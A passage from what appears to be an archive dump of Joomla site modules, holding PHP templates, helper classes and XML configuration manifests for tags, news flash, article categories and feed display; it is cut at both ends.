				/>
			</fieldset>
		</fields>
	</config>
</extension>
mod_tags_similar/tmpl/default.php000064400000002035150746134720013203 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_similar
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<div class="tagssimilar<?php echo $moduleclass_sfx; ?>">
<?php if ($list) : ?>
	<ul>
	<?php foreach ($list as $i => $item) : ?>
		<li>
			<?php if (($item->type_alias === 'com_users.category') || ($item->type_alias === 'com_banners.category')) : ?>
				<?php if (!empty($item->core_title)) : ?>
					<?php echo htmlspecialchars($item->core_title, ENT_COMPAT, 'UTF-8'); ?>
				<?php endif; ?>
			<?php else : ?>
				<a href="<?php echo JRoute::_($item->link); ?>">
					<?php if (!empty($item->core_title)) : ?>
						<?php echo htmlspecialchars($item->core_title, ENT_COMPAT, 'UTF-8'); ?>
					<?php endif; ?>
				</a>
			<?php endif; ?>
		</li>
	<?php endforeach; ?>
	</ul>
<?php else : ?>
	<span><?php echo JText::_('MOD_TAGS_SIMILAR_NO_MATCHING_TAGS'); ?></span>
<?php endif; ?>
</div>
mod_articles_news/src/Helper/ArticlesNewsHelper.php000060400000014257150746134720016545 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\ArticlesNews\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Content\Site\Helper\RouteHelper;

/**
 * Helper for mod_articles_news
 *
 * @since  1.6
 */
abstract class ArticlesNewsHelper
{
	/**
	 * Get a list of the latest articles from the article model
	 *
	 * @param   \Joomla\Registry\Registry  &$params  object holding the models parameters
	 *
	 * @return  mixed
	 *
	 * @since 1.6
	 */
	public static function getList(&$params)
	{
		$app = Factory::getApplication();

		/** @var \Joomla\Component\Content\Site\Model\ArticlesModel $model */
		$model = $app->bootComponent('com_content')
			->getMVCFactory()->createModel('Articles', 'Site', ['ignore_request' => true]);

		// Set application parameters in model
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		$model->setState('list.start', 0);
		$model->setState('filter.published', 1);

		// Set the filters based on the module params
		$model->setState('list.limit', (int) $params->get('count', 5));

		// This module does not use tags data
		$model->setState('load_tags', false);

		// Access filter
		$access     = !ComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = Access::getAuthorisedViewLevels(Factory::getUser()->get('id'));
		$model->setState('filter.access', $access);

		// Category filter
		$model->setState('filter.category_id', $params->get('catid', array()));

		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());

		// Filter by tag
		$model->setState('filter.tag', $params->get('tag', array()));

		// Featured switch
		$featured = $params->get('show_featured', '');

		if ($featured === '')
		{
			$model->setState('filter.featured', 'show');
		}
		elseif ($featured)
		{
			$model->setState('filter.featured', 'only');
		}
		else
		{
			$model->setState('filter.featured', 'hide');
		}

		// Filter by id in case it should be excluded
		if ($params->get('exclude_current', true)
			&& $app->input->get('option') === 'com_content'
			&& $app->input->get('view') === 'article')
		{
			// Exclude the current article from displaying in this module
			$model->setState('filter.article_id', $app->input->get('id', 0, 'UINT'));
			$model->setState('filter.article_id.include', false);
		}

		// Set ordering
		$ordering = $params->get('ordering', 'a.publish_up');
		$model->setState('list.ordering', $ordering);

		if (trim($ordering) === 'rand()')
		{
			$model->setState('list.ordering', Factory::getDbo()->getQuery(true)->rand());
		}
		else
		{
			$direction = $params->get('direction', 1) ? 'DESC' : 'ASC';
			$model->setState('list.direction', $direction);
			$model->setState('list.ordering', $ordering);
		}

		// Check if we should trigger additional plugin events
		$triggerEvents = $params->get('triggerevents', 1);

		// Retrieve Content
		$items = $model->getItems();

		foreach ($items as &$item)
		{
			$item->readmore = \strlen(trim($item->fulltext));
			$item->slug     = $item->id . ':' . $item->alias;

			if ($access || \in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link     = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language));
				$item->linkText = Text::_('MOD_ARTICLES_NEWS_READMORE');
			}
			else
			{
				$item->link = new Uri(Route::_('index.php?option=com_users&view=login', false));
				$item->link->setVar('return', base64_encode(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)));
				$item->linkText = Text::_('MOD_ARTICLES_NEWS_READMORE_REGISTER');
			}

			$item->introtext = HTMLHelper::_('content.prepare', $item->introtext, '', 'mod_articles_news.content');

			// Remove any images belongs to the text
			if (!$params->get('image'))
			{
				$item->introtext = preg_replace('/<img[^>]*>/', '', $item->introtext);
			}

			// Show the Intro/Full image field of the article
			if ($params->get('img_intro_full') !== 'none')
			{
				$images = json_decode($item->images);
				$item->imageSrc = '';
				$item->imageAlt = '';
				$item->imageCaption = '';

				if ($params->get('img_intro_full') === 'intro' && !empty($images->image_intro))
				{
					$item->imageSrc = htmlspecialchars($images->image_intro, ENT_COMPAT, 'UTF-8');
					$item->imageAlt = htmlspecialchars($images->image_intro_alt, ENT_COMPAT, 'UTF-8');

					if ($images->image_intro_caption)
					{
						$item->imageCaption = htmlspecialchars($images->image_intro_caption, ENT_COMPAT, 'UTF-8');
					}
				}
				elseif ($params->get('img_intro_full') === 'full' && !empty($images->image_fulltext))
				{
					$item->imageSrc = htmlspecialchars($images->image_fulltext, ENT_COMPAT, 'UTF-8');
					$item->imageAlt = htmlspecialchars($images->image_fulltext_alt, ENT_COMPAT, 'UTF-8');

					if ($images->image_intro_caption)
					{
						$item->imageCaption = htmlspecialchars($images->image_fulltext_caption, ENT_COMPAT, 'UTF-8');
					}
				}
			}

			if ($triggerEvents)
			{
				$item->text = '';
				$app->triggerEvent('onContentPrepare', array('com_content.article', &$item, &$params, 0));

				$results                 = $app->triggerEvent('onContentAfterTitle', array('com_content.article', &$item, &$params, 0));
				$item->afterDisplayTitle = trim(implode("\n", $results));

				$results                    = $app->triggerEvent('onContentBeforeDisplay', array('com_content.article', &$item, &$params, 0));
				$item->beforeDisplayContent = trim(implode("\n", $results));

				$results                   = $app->triggerEvent('onContentAfterDisplay', array('com_content.article', &$item, &$params, 0));
				$item->afterDisplayContent = trim(implode("\n", $results));
			}
			else
			{
				$item->afterDisplayTitle    = '';
				$item->beforeDisplayContent = '';
				$item->afterDisplayContent  = '';
			}
		}

		return $items;
	}
}
mod_articles_news/tmpl/horizontal.php000064400000001305150746134720014133 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<ul class="newsflash-horiz<?php echo $params->get('moduleclass_sfx'); ?> mod-list">
	<?php for ($i = 0, $n = count($list); $i < $n; $i ++) : ?>
		<?php $item = $list[$i]; ?>
		<li>
			<?php require JModuleHelper::getLayoutPath('mod_articles_news', '_item'); ?>

			<?php if ($n > 1 && (($i < $n - 1) || $params->get('showLastSeparator'))) : ?>
				<span class="article-separator">&#160;</span>
			<?php endif; ?>
		</li>
	<?php endfor; ?>
</ul>
mod_articles_news/tmpl/vertical.php000064400000001333150746134720013554 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<ul class="newsflash-vert<?php echo $params->get('moduleclass_sfx'); ?> mod-list">
	<?php for ($i = 0, $n = count($list); $i < $n; $i ++) : ?>
		<?php $item = $list[$i]; ?>
		<li class="newsflash-item">
			<?php require JModuleHelper::getLayoutPath('mod_articles_news', '_item'); ?>

			<?php if ($n > 1 && (($i < $n - 1) || $params->get('showLastSeparator'))) : ?>
				<span class="article-separator">&#160;</span>
			<?php endif; ?>
		</li>
	<?php endfor; ?>
</ul>
mod_articles_news/tmpl/_item.php000064400000003055150746134720013043 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<?php if ($params->get('item_title')) : ?>
	<?php $item_heading = $params->get('item_heading', 'h4'); ?>
	<<?php echo $item_heading; ?> class="newsflash-title<?php echo $params->get('moduleclass_sfx'); ?>">
	<?php if ($item->link !== '' && $params->get('link_titles')) : ?>
		<a href="<?php echo $item->link; ?>">
			<?php echo $item->title; ?>
		</a>
	<?php else : ?>
		<?php echo $item->title; ?>
	<?php endif; ?>
	</<?php echo $item_heading; ?>>
<?php endif; ?>

<?php if ($params->get('img_intro_full') !== 'none' && !empty($item->imageSrc)) : ?>	
	<figure class="newsflash-image">
		<img src="<?php echo $item->imageSrc; ?>" alt="<?php echo $item->imageAlt; ?>">
		<?php if (!empty($item->imageCaption)) : ?>
			<figcaption>
				<?php echo $item->imageCaption; ?>
			</figcaption>
		<?php endif; ?>
	</figure>
<?php endif; ?>

<?php if (!$params->get('intro_only')) : ?>
	<?php echo $item->afterDisplayTitle; ?>
<?php endif; ?>

<?php echo $item->beforeDisplayContent; ?>

<?php if ($params->get('show_introtext', 1)) : ?>
	<?php echo $item->introtext; ?>
<?php endif; ?>

<?php echo $item->afterDisplayContent; ?>

<?php if (isset($item->link) && $item->readmore != 0 && $params->get('readmore')) : ?>
	<?php echo '<a class="readmore" href="' . $item->link . '">' . $item->linkText . '</a>'; ?>
<?php endif; ?>
mod_articles_news/tmpl/default.php000064400000000720150746134720013366 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div class="newsflash<?php echo $moduleclass_sfx; ?>">
	<?php foreach ($list as $item) : ?>
		<?php require JModuleHelper::getLayoutPath('mod_articles_news', '_item'); ?>
	<?php endforeach; ?>
</div>
mod_articles_news/mod_articles_news.xml000064400000016412150746134720014505 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_articles_news</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_ARTICLES_NEWS_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_articles_news">mod_articles_news.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_articles_news.ini</language>
		<language tag="en-GB">en-GB.mod_articles_news.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_NEWSFLASH"/>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="catid"
					type="category"
					label="JCATEGORY"
					description="MOD_ARTICLES_NEWS_FIELD_CATEGORY_DESC"
					extension="com_content"
					multiple="true"
					filter="int_array"
					class="multipleCategories"
				/>

				<field
					name="tag"
					type="tag"
					label="JTAG"
					description="JTAG_DESC"
					mode="nested"
					multiple="true"
					filter="int_array"
					class="multipleTags"
				/>

				<field
					name="image"
					type="radio"
					label="MOD_ARTICLES_NEWS_FIELD_IMAGES_LABEL"
					description="MOD_ARTICLES_NEWS_FIELD_IMAGES_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="img_intro_full"
					type="list"
					label="MOD_ARTICLES_NEWS_FIELD_IMAGES_ARTICLE_LABEL"
					description="MOD_ARTICLES_NEWS_FIELD_IMAGES_ARTICLE_DESC"
					default="none"
					>
					<option value="intro">MOD_ARTICLES_NEWS_OPTION_INTROIMAGE</option>
					<option value="full">MOD_ARTICLES_NEWS_OPTION_FULLIMAGE</option>
					<option value="none">JNO</option>
				</field>

				<field
					name="item_title"
					type="radio"
					label="MOD_ARTICLES_NEWS_FIELD_TITLE_LABEL"
					description="MOD_ARTICLES_NEWS_FIELD_TITLE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="link_titles"
					type="list"
					label="MOD_ARTICLES_NEWS_FIELD_LINKTITLE_LABEL"
					description="MOD_ARTICLES_NEWS_FIELD_LINKTITLE_DESC"
					default=""
					filter="integer"
					class="chzn-color"
					showon="item_title:1"
					>
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="item_heading"
					type="list"
					label="MOD_ARTICLES_NEWS_TITLE_HEADING"
					description="MOD_ARTICLES_NEWS_TITLE_HEADING_DESCRIPTION"
					default="h4"
					showon="item_title:1"
					validate="options"
					>
					<option value="h1">JH1</option>
					<option value="h2">JH2</option>
					<option value="h3">JH3</option>
					<option value="h4">JH4</option>
					<option value="h5">JH5</option>
				</field>

				<field
					name="triggerevents"
					type="radio"
					label="MOD_ARTICLES_NEWS_FIELD_TRIGGEREVENTS_LABEL"
					description="MOD_ARTICLES_NEWS_FIELD_TRIGGEREVENTS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="showLastSeparator"
					type="radio"
					label="MOD_ARTICLES_NEWS_FIELD_SEPARATOR_LABEL"
					description="MOD_ARTICLES_NEWS_FIELD_SEPARATOR_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="show_introtext"
					type="radio"
					label="MOD_ARTICLES_NEWS_FIELD_SHOWINTROTEXT_LABEL"
					description="MOD_ARTICLES_NEWS_FIELD_SHOWINTROTEXT_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="readmore"
					type="radio"
					label="MOD_ARTICLES_NEWS_FIELD_READMORE_LABEL"
					description="MOD_ARTICLES_NEWS_FIELD_READMORE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="count"
					type="number"
					label="MOD_ARTICLES_NEWS_FIELD_ITEMS_LABEL"
					description="MOD_ARTICLES_NEWS_FIELD_ITEMS_DESC"
					default="5"
					filter="integer"
				/>

				<field
					name="show_featured"
					type="list"
					label="MOD_ARTICLES_NEWS_FIELD_FEATURED_LABEL"
					description="MOD_ARTICLES_NEWS_FIELD_FEATURED_DESC"
					default=""
					filter="integer"
					>
					<option value="">JSHOW</option>
					<option value="0">JHIDE</option>
					<option value="1">MOD_ARTICLES_NEWS_VALUE_ONLY_SHOW_FEATURED</option>
				</field>

				<field
					name="ordering"
					type="list"
					label="MOD_ARTICLES_NEWS_FIELD_ORDERING_LABEL"
					description="MOD_ARTICLES_NEWS_FIELD_ORDERING_DESC"
					default="a.publish_up"
					validate="options"
					>
					<option value="a.publish_up">MOD_ARTICLES_NEWS_FIELD_ORDERING_PUBLISHED_DATE</option>
					<option value="a.created">MOD_ARTICLES_NEWS_FIELD_ORDERING_CREATED_DATE</option>
					<option value="a.modified">MOD_ARTICLES_NEWS_FIELD_ORDERING_MODIFIED_DATE</option>
					<option value="a.ordering">MOD_ARTICLES_NEWS_FIELD_ORDERING_ORDERING</option>
					<option value="a.hits">JGLOBAL_HITS</option>
					<option value="rand()">MOD_ARTICLES_NEWS_FIELD_ORDERING_RANDOM</option>
				</field>

				<field
					name="direction"
					type="list"
					label="JGLOBAL_ORDER_DIRECTION_LABEL"
					description="JGLOBAL_ORDER_DIRECTION_DESC"
					default="1"
					filter="integer"
					showon="ordering:a.publish_up,a.created,a.modified,a.ordering,a.hits"
					>
					<option value="0">JGLOBAL_ORDER_ASCENDING</option>
					<option value="1">JGLOBAL_ORDER_DESCENDING</option>
				</field>
			</fieldset>

			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="itemid"
					>
					<option value="itemid"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_articles_news/mod_articles_news.php000064400000001161150746134720014467 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the news functions only once
JLoader::register('ModArticlesNewsHelper', __DIR__ . '/helper.php');

$list            = ModArticlesNewsHelper::getList($params);
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');

require JModuleHelper::getLayoutPath('mod_articles_news', $params->get('layout', 'horizontal'));
mod_articles_categories/src/Helper/ArticlesCategoriesHelper.php000060400000002142150746134720021055 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_categories
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\ArticlesCategories\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Categories\Categories;

/**
 * Helper for mod_articles_categories
 *
 * @since  1.5
 */
abstract class ArticlesCategoriesHelper
{
	/**
	 * Get list of articles
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public static function getList(&$params)
	{
		$options               = [];
		$options['countItems'] = $params->get('numitems', 0);

		$categories = Categories::getInstance('Content', $options);
		$category   = $categories->get($params->get('parent', 'root'));

		if ($category !== null)
		{
			$items = $category->getChildren();

			$count = $params->get('count', 0);

			if ($count > 0 && \count($items) > $count)
			{
				$items = \array_slice($items, 0, $count);
			}

			return $items;
		}
	}
}
mod_articles_categories/tmpl/default_items.php000064400000003223150746134720015741 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_categories
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$input  = JFactory::getApplication()->input;
$option = $input->getCmd('option');
$view   = $input->getCmd('view');
$id     = $input->getInt('id');

foreach ($list as $item) : ?>
	<li<?php if ($id == $item->id && in_array($view, array('category', 'categories')) && $option == 'com_content') echo ' class="active"'; ?>> <?php $levelup = $item->level - $startLevel - 1; ?>
		<h<?php echo $params->get('item_heading') + $levelup; ?>>
		<a href="<?php echo JRoute::_(ContentHelperRoute::getCategoryRoute($item->id)); ?>">
		<?php echo $item->title; ?>
			<?php if ($params->get('numitems')) : ?>
				(<?php echo $item->numitems; ?>)
			<?php endif; ?>
		</a>
		</h<?php echo $params->get('item_heading') + $levelup; ?>>

		<?php if ($params->get('show_description', 0)) : ?>
			<?php echo JHtml::_('content.prepare', $item->description, $item->getParams(), 'mod_articles_categories.content'); ?>
		<?php endif; ?>
		<?php if ($params->get('show_children', 0) && (($params->get('maxlevel', 0) == 0)
			|| ($params->get('maxlevel') >= ($item->level - $startLevel)))
			&& count($item->getChildren())) : ?>
			<?php echo '<ul>'; ?>
			<?php $temp = $list; ?>
			<?php $list = $item->getChildren(); ?>
			<?php require JModuleHelper::getLayoutPath('mod_articles_categories', $params->get('layout', 'default') . '_items'); ?>
			<?php $list = $temp; ?>
			<?php echo '</ul>'; ?>
		<?php endif; ?>
	</li>
<?php endforeach; ?>
mod_articles_categories/tmpl/default.php000064400000000723150746134720014542 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_categories
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<ul class="categories-module<?php echo $moduleclass_sfx; ?> mod-list">
<?php require JModuleHelper::getLayoutPath('mod_articles_categories', $params->get('layout', 'default') . '_items'); ?>
</ul>
mod_articles_categories/mod_articles_categories.xml000064400000012007150746134720017023 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_articles_categories</name>
	<author>Joomla! Project</author>
	<creationDate>February 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_ARTICLES_CATEGORIES_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_articles_categories">mod_articles_categories.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_articles_categories.ini</language>
		<language tag="en-GB">en-GB.mod_articles_categories.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORIES" />
	<config>
		<fields name="params">
			<fieldset name="basic"
				addfieldpath="/administrator/components/com_categories/models/fields"
			>
				<field
					name="parent"
					type="modal_category"
					label="MOD_ARTICLES_CATEGORIES_FIELD_PARENT_LABEL"
					description="MOD_ARTICLES_CATEGORIES_FIELD_PARENT_DESC"
					extension="com_content"
					filter="integer"
					published=""
					required="true"
					select="true"
					new="true"
					edit="true"
					clear="true"
				/>

				<field
					name="show_description"
					type="radio"
					label="MOD_ARTICLES_CATEGORIES_FIELD_SHOW_DESCRIPTION_LABEL"
					description="MOD_ARTICLES_CATEGORIES_FIELD_SHOW_DESCRIPTION_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="numitems"
					type="radio"
					label="MOD_ARTICLES_CATEGORIES_FIELD_NUMITEMS_LABEL"
					description="MOD_ARTICLES_CATEGORIES_FIELD_NUMITEMS_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="show_children"
					type="radio"
					label="MOD_ARTICLES_CATEGORIES_FIELD_SHOW_CHILDREN_LABEL"
					description="MOD_ARTICLES_CATEGORIES_FIELD_SHOW_CHILDREN_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="count"
					type="list"
					label="MOD_ARTICLES_CATEGORIES_FIELD_COUNT_LABEL"
					description="MOD_ARTICLES_CATEGORIES_FIELD_COUNT_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">JALL</option>
					<option value="1">J1</option>
					<option value="2">J2</option>
					<option value="3">J3</option>
					<option value="4">J4</option>
					<option value="5">J5</option>
					<option value="6">J6</option>
					<option value="7">J7</option>
					<option value="8">J8</option>
					<option value="9">J9</option>
					<option value="10">J10</option>
				</field>

				<field
					name="maxlevel"
					type="list"
					label="MOD_ARTICLES_CATEGORIES_FIELD_MAXLEVEL_LABEL"
					description="MOD_ARTICLES_CATEGORIES_FIELD_MAXLEVEL_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">JALL</option>
					<option value="1">J1</option>
					<option value="2">J2</option>
					<option value="3">J3</option>
					<option value="4">J4</option>
					<option value="5">J5</option>
					<option value="6">J6</option>
					<option value="7">J7</option>
					<option value="8">J8</option>
					<option value="9">J9</option>
					<option value="10">J10</option>
				</field>
			</fieldset>

			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="item_heading"
					type="list"
					label="MOD_ARTICLES_CATEGORIES_TITLE_HEADING_LABEL"
					description="MOD_ARTICLES_CATEGORIES_TITLE_HEADING_DESC"
					default="4"
					validate="options"
					>
					<option value="1">JH1</option>
					<option value="2">JH2</option>
					<option value="3">JH3</option>
					<option value="4">JH4</option>
					<option value="5">JH5</option>
				</field>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="owncache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
mod_articles_categories/mod_articles_categories.php000064400000002275150746134720017020 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_categories
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the helper functions only once
JLoader::register('ModArticlesCategoriesHelper', __DIR__ . '/helper.php');

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

JLoader::register('JCategoryNode', JPATH_BASE . '/libraries/legacy/categories/categories.php');

$cacheid = md5($module->id);

$cacheparams               = new stdClass;
$cacheparams->cachemode    = 'id';
$cacheparams->class        = 'ModArticlesCategoriesHelper';
$cacheparams->method       = 'getList';
$cacheparams->methodparams = $params;
$cacheparams->modeparams   = $cacheid;

$list = JModuleHelper::moduleCache($module, $params, $cacheparams);

if (!empty($list))
{
	$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');
	$startLevel      = reset($list)->getParent()->level;

	require JModuleHelper::getLayoutPath('mod_articles_categories', $params->get('layout', 'default'));
}
mod_feed/tmpl/default.php000064400000006346150746134720011441 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_feed
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>

<?php
if (!empty($feed) && is_string($feed))
{
	echo $feed;
}
else
{
	$lang      = JFactory::getLanguage();
	$myrtl     = $params->get('rssrtl', 0);
	$direction = ' ';

	$isRtl = $lang->isRtl();

	if ($isRtl && $myrtl == 0)
	{
		$direction = ' redirect-rtl';
	}

	// Feed description
	elseif ($isRtl && $myrtl == 1)
	{
		$direction = ' redirect-ltr';
	}

	elseif ($isRtl && $myrtl == 2)
	{
		$direction = ' redirect-rtl';
	}

	elseif ($myrtl == 0)
	{
		$direction = ' redirect-ltr';
	}
	elseif ($myrtl == 1)
	{
		$direction = ' redirect-ltr';
	}
	elseif ($myrtl == 2)
	{
		$direction = ' redirect-rtl';
	}

	if ($feed !== false)
	{
		?>
		<div style="direction: <?php echo $rssrtl ? 'rtl' :'ltr'; ?>; text-align: <?php echo $rssrtl ? 'right' :'left'; ?> !important" class="feed<?php echo $moduleclass_sfx; ?>">
		<?php
		// Feed description
		if ($feed->title !== null && $params->get('rsstitle', 1))
		{
			?>
					<h2 class="<?php echo $direction; ?>">
						<a href="<?php echo htmlspecialchars($rssurl, ENT_COMPAT, 'UTF-8'); ?>" target="_blank">
						<?php echo $feed->title; ?></a>
					</h2>
			<?php
		}
		// Feed date
		if ($params->get('rssdate', 1)) : ?>
			<h3>
			<?php echo JHtml::_('date', $feed->publishedDate, JText::_('DATE_FORMAT_LC3')); ?>
			</h3>
		<?php endif;
		// Feed description
		if ($params->get('rssdesc', 1))
		{
		?>
			<?php echo $feed->description; ?>
			<?php
		}
		// Feed image
		if ($feed->image && $params->get('rssimage', 1)) :
		?>
			<img src="<?php echo $feed->image->uri; ?>" alt="<?php echo $feed->image->title; ?>"/>
		<?php endif; ?>


	<!-- Show items -->
	<?php if (!empty($feed))
	{ ?>
